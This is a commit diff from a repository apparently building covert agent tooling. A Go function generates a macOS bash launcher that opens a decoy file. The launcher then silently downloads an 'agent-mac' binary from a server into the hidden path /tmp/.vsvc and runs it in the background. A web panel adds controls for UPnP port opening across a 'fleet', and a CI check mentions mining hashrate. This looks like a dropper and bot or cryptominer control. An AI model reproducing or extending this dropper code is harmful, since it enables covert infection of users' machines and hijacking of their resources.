drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

chore: pathforge and crucible ops follow-up
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Details

Browse Source
This commit is contained in:
AetherForge
2026-06-06 16:58:08 -07:00
parent d5351f31d2
commit 472f0d4413
2 changed files with 15 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

13
server/internal/builder/pathforge.go
View File

@@ -387,20 +387,25 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string { func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
s := "#!/bin/bash\n" s := "#!/bin/bash\n"
dir := "$(dirname \"$0\")" dir := "$(dirname \"$0\")"
// Escape filenames for bash double-quoted strings.
lfSh := escapeShDouble(lockedFile)
rfSh := escapeShDouble(realFile)
if lockOriginal { if lockOriginal {
s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile) s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lfSh, dir, rfSh)
} }
s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile) s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, rfSh)
if lockOriginal { if lockOriginal {
s += fmt.Sprintf( s += fmt.Sprintf(
"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n", "( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
dir, realFile, dir, lockedFile) dir, rfSh, dir, lfSh)
} }
if serverURL != "" { if serverURL != "" {
// Escape serverURL for single-quoted bash string (prevents shell injection via ').
urlSh := escapeShSingle(serverURL)
s += fmt.Sprintf( s += fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL) urlSh)
} }
return s return s
} }

3
server/web/src/components/Fleet/CrucibleExpandedOps.tsx
View File

@@ -848,9 +848,12 @@ export default function CrucibleExpandedOps({
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}> <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
WAN IP WAN IP
</button> </button>
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}> <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
Hole Punch Hole Punch
</button> </button>
<HelpTip field="crucible_btn_hole_punch" />
</span>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}> <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}>
Close UPnP Close UPnP
</button> </button>